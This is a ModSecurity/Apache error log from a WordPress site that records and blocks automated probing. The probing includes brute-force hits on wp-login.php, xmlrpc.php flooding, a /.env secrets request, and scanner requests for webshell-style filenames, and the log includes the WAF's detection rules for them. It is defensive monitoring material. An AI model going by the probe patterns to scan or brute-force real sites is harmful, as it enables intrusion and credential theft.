[Fri Apr 24 23:40:43.266888 2026] [:error] [pid 17808:tid 17834] [client 216.69.164.146:47458] [client 216.69.164.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.69.164.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuO--arbOEFI8qshvJ51gAAAFg"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 23:50:08.345600 2026] [:error] [pid 17720:tid 17763] [client 94.242.51.122:52478] [client 94.242.51.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.242.51.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuRMOhlUs6BS3Ng7_XxiwAAAMk"]
[Fri Apr 24 23:50:24.999440 2026] [:error] [pid 17721:tid 17805] [client 94.242.51.122:59074] [client 94.242.51.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.242.51.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuRQOFXXkLeyDnfk_9sjQAAABg"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 00:07:44.375739 2026] [:error] [pid 42852:tid 42874] [client 69.163.248.16:33082] [client 69.163.248.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.248.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuVUDMEwxhhak_EhMJjhAAAAlM"]
[Sat Apr 25 00:07:50.466959 2026] [:error] [pid 42852:tid 42878] [client 69.163.248.16:33082] [client 69.163.248.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.248.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuVVjMEwxhhak_EhMJjnQAAAlc"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 00:22:44.662715 2026] [:error] [pid 42852:tid 42863] [client 62.217.147.117:10528] [client 62.217.147.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.217.147.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeuY1DMEwxhhak_EhMJuZAAAAkg"]
[Sat Apr 25 00:22:55.224903 2026] [:error] [pid 42755:tid 42777] [client 62.217.147.117:10368] [client 62.217.147.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.217.147.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeuY39H7__k0j6aa603zpgAAAJQ"]
[Sat Apr 25 00:23:06.315798 2026] [:error] [pid 42755:tid 42763] [client 62.217.147.117:5854] [client 62.217.147.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.217.147.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeuY6tH7__k0j6aa603zuAAAAIY"]
[Sat Apr 25 00:23:19.250046 2026] [:error] [pid 42791:tid 42803] [client 62.217.147.117:2547] [client 62.217.147.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.217.147.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeuY97KmN9doraCEWKXXcAAAAcg"]
[Sat Apr 25 00:23:31.581864 2026] [:error] [pid 42792:tid 42823] [client 62.217.147.117:7746] [client 62.217.147.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.217.147.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeuZA9Ni9qR4GtafpfHBTQAAAgE"]
[Sat Apr 25 00:26:19.306312 2026] [:error] [pid 42792:tid 42829] [client 103.163.246.36:60170] [client 103.163.246.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.163.246.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuZq9Ni9qR4GtafpfHCXwAAAgc"]
[Sat Apr 25 00:26:21.065920 2026] [:error] [pid 42792:tid 42826] [client 103.163.246.36:60170] [client 103.163.246.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.163.246.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuZrdNi9qR4GtafpfHCZwAAAgQ"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 00:30:43.237957 2026] [:error] [pid 42852:tid 42865] [client 85.131.213.133:43328] [client 85.131.213.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.131.213.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuaszMEwxhhak_EhMJ1hgAAAko"]
[Sat Apr 25 00:30:45.175760 2026] [:error] [pid 42852:tid 42855] [client 85.131.213.133:43328] [client 85.131.213.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.131.213.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeuatTMEwxhhak_EhMJ1jQAAAkA"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 01:26:33.262352 2026] [:error] [pid 42852:tid 42858] [client 209.50.240.123:38158] [client 209.50.240.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.50.240.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeunyTMEwxhhak_EhMKU0gAAAkM"]
[Sat Apr 25 01:26:34.913597 2026] [:error] [pid 42852:tid 42873] [client 209.50.240.123:38158] [client 209.50.240.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.50.240.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeunyjMEwxhhak_EhMKU1QAAAlI"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 01:33:02.639317 2026] [:error] [pid 42852:tid 42863] [client 213.55.96.154:36764] [client 213.55.96.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeupTjMEwxhhak_EhMKYKgAAAkg"]
[Sat Apr 25 01:33:04.517077 2026] [:error] [pid 42852:tid 42864] [client 213.55.96.154:36764] [client 213.55.96.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeupUDMEwxhhak_EhMKYLQAAAkk"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 01:51:57.609475 2026] [:error] [pid 42755:tid 42764] [client 162.241.3.6:19622] [client 162.241.3.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeutvdH7__k0j6aa600MMQAAAIc"]
[Sat Apr 25 01:52:02.457993 2026] [:error] [pid 42791:tid 42816] [client 162.241.3.6:57402] [client 162.241.3.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.3.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeutwrKmN9doraCEWKX27wAAAdU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 02:02:16.421263 2026] [autoindex:error] [pid 42852:tid 42873] [client 207.180.209.135:51114] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Apr 25 02:20:03.587526 2026] [:error] [pid 14989:tid 15009] [client 149.28.121.239:44552] [client 149.28.121.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.28.121.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeu0U3hRYjsAsZTO4EO7RAAAABI"]
[Sat Apr 25 02:20:05.665060 2026] [:error] [pid 14989:tid 14996] [client 149.28.121.239:44552] [client 149.28.121.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.28.121.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeu0VXhRYjsAsZTO4EO7RgAAAAU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 02:28:12.380998 2026] [:error] [pid 42791:tid 42814] [client 43.157.213.6:7452] [client 43.157.213.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.157.213.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeu2PLKmN9doraCEWKUBYgAAAdM"]
[Sat Apr 25 02:28:14.023402 2026] [:error] [pid 42791:tid 42805] [client 43.157.213.6:7452] [client 43.157.213.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.157.213.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeu2PrKmN9doraCEWKUBZQAAAco"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 02:56:21.828974 2026] [:error] [pid 29016:tid 29056] [client 34.71.159.117:34766] [client 34.71.159.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.71.159.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeu81UQMwwBEZ8EaFL9DxwAAA1M"]
[Sat Apr 25 02:56:23.201135 2026] [:error] [pid 29016:tid 29044] [client 34.71.159.117:34766] [client 34.71.159.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.71.159.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeu810QMwwBEZ8EaFL9DyAAAA0c"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 02:57:35.127959 2026] [:error] [pid 28786:tid 28804] [client 37.131.108.246:16225] [client 37.131.108.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.131.108.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeu9H9mKAVQi4GwijepIaAAAAY8"]
[Sat Apr 25 02:57:44.985436 2026] [:error] [pid 42792:tid 42823] [client 37.131.108.246:16226] [client 37.131.108.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.131.108.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeu9KNNi9qR4GtafpfH2XAAAAgE"]
[Sat Apr 25 02:57:55.626483 2026] [:error] [pid 28909:tid 28920] [client 37.131.108.246:16227] [client 37.131.108.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.131.108.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeu9M62Vx90vB2Opu_ue6QAAAsQ"]
[Sat Apr 25 02:58:06.268422 2026] [:error] [pid 28786:tid 28799] [client 37.131.108.246:16228] [client 37.131.108.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.131.108.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeu9PtmKAVQi4GwijepInAAAAYo"]
[Sat Apr 25 02:58:16.872702 2026] [:error] [pid 29016:tid 29061] [client 37.131.108.246:16229] [client 37.131.108.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.131.108.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeu9SEQMwwBEZ8EaFL9ERwAAA1g"]
[Sat Apr 25 03:26:54.271625 2026] [:error] [pid 40919:tid 40957] [client 185.198.240.156:44959] [client 185.198.240.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "aevD_kMtsB8Y96nC3cnhFgAAANc"]
[Sat Apr 25 03:30:40.393163 2026] [:error] [pid 40831:tid 40911] [client 192.185.83.176:33890] [client 192.185.83.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.83.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevE4MC1ApXgo_VIxksi9QAAAJY"]
[Sat Apr 25 03:30:43.685947 2026] [:error] [pid 40831:tid 40908] [client 192.185.83.176:33890] [client 192.185.83.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.83.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevE48C1ApXgo_VIxksi-wAAAJM"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 03:33:08.250816 2026] [:error] [pid 40829:tid 40844] [client 65.254.225.214:57630] [client 65.254.225.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevFdH9aBLbh2KXOloORhQAAAAs"]
[Sat Apr 25 03:33:10.029925 2026] [:error] [pid 40829:tid 40857] [client 65.254.225.214:57630] [client 65.254.225.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevFdn9aBLbh2KXOloORiwAAABg"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 03:41:14.521155 2026] [:error] [pid 13550:tid 13590] [client 192.185.4.92:57624] [client 192.185.4.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevHWvkGWF8b7QIlunW1zQAAAEk"]
[Sat Apr 25 03:41:16.397160 2026] [:error] [pid 13550:tid 13598] [client 192.185.4.92:57624] [client 192.185.4.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.4.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevHXPkGWF8b7QIlunW10wAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 04:02:50.560322 2026] [:error] [pid 44425:tid 44444] [client 50.87.231.172:54862] [client 50.87.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevMaiUl-VlItvY2tR_OhAAAANE"]
[Sat Apr 25 04:02:52.382769 2026] [:error] [pid 44425:tid 44439] [client 50.87.231.172:54862] [client 50.87.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aevMbCUl-VlItvY2tR_OiwAAAMw"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 25 04:03:47.097022 2026] [:error] [pid 44321:tid 44398] [client 180.110.203.108:35944] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aevMo41b5lV-asWa_Y4DugAAAI8"]
[Sat Apr 25 04:07:43.033544 2026] [:error] [pid 46083:tid 46097] [client 43.153.149.181:56924] [client 43.153.149.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aevNjzxw_Zq74vWdjmnp_QAAAQo"]
[Sat Apr 25 05:16:55.390381 2026] [:error] [pid 46083:tid 46091] [client 20.251.112.6:38314] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pinfo.php"] [unique_id "aevdxzxw_Zq74vWdjmkVdQAAAQQ"]
[Sat Apr 25 05:16:55.949189 2026] [:error] [pid 44320:tid 44366] [client 20.251.112.6:40149] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pinfo.php"] [unique_id "aevdxzmFqSpku_dij8hoNQAAAEo"]
[Sat Apr 25 05:16:56.523010 2026] [:error] [pid 46083:tid 46098] [client 20.251.112.6:54675] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pinfo.php"] [unique_id "aevdyDxw_Zq74vWdjmkVeQAAAQs"]
[Sat Apr 25 05:16:57.067399 2026] [:error] [pid 46083:tid 46095] [client 20.251.112.6:38323] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pinfo.php"] [unique_id "aevdyTxw_Zq74vWdjmkVegAAAQg"]
[Sat Apr 25 05:16:57.625436 2026] [:error] [pid 44425:tid 44435] [client 20.251.112.6:61885] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/litespeed.php"] [unique_id "aevdySUl-VlItvY2tR_v7AAAAMg"]
[Sat Apr 25 05:16:58.161473 2026] [:error] [pid 46083:tid 46090] [client 20.251.112.6:35148] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/litespeed.php"] [unique_id "aevdyjxw_Zq74vWdjmkVfgAAAQM"]
[Sat Apr 25 05:16:58.695738 2026] [:error] [pid 44425:tid 44430] [client 20.251.112.6:33404] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/litespeed.php"] [unique_id "aevdyiUl-VlItvY2tR_v7QAAAMM"]
[Sat Apr 25 05:16:59.251738 2026] [:error] [pid 44319:tid 44333] [client 20.251.112.6:45477] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/litespeed.php"] [unique_id "aevdy8zJPAVLUb2pWtJGiwAAAAQ"]
[Sat Apr 25 05:16:59.810729 2026] [:error] [pid 46083:tid 46095] [client 20.251.112.6:40160] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environments.php"] [unique_id "aevdyzxw_Zq74vWdjmkVggAAAQg"]
[Sat Apr 25 05:17:00.378114 2026] [:error] [pid 46083:tid 46108] [client 20.251.112.6:45452] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environments.php"] [unique_id "aevdzDxw_Zq74vWdjmkVhQAAARQ"]
[Sat Apr 25 05:17:00.903115 2026] [:error] [pid 46083:tid 46087] [client 20.251.112.6:35169] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environments.php"] [unique_id "aevdzDxw_Zq74vWdjmkViAAAAQA"]
[Sat Apr 25 05:17:01.439136 2026] [:error] [pid 44425:tid 44449] [client 20.251.112.6:33366] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/environments.php"] [unique_id "aevdzSUl-VlItvY2tR_v8AAAANY"]
[Sat Apr 25 05:17:01.964954 2026] [:error] [pid 46083:tid 46105] [client 20.251.112.6:40181] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raf.php"] [unique_id "aevdzTxw_Zq74vWdjmkVjgAAARI"]
[Sat Apr 25 05:17:02.501414 2026] [:error] [pid 46083:tid 46094] [client 20.251.112.6:33375] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/raf.php"] [unique_id "aevdzjxw_Zq74vWdjmkVkwAAAQc"]
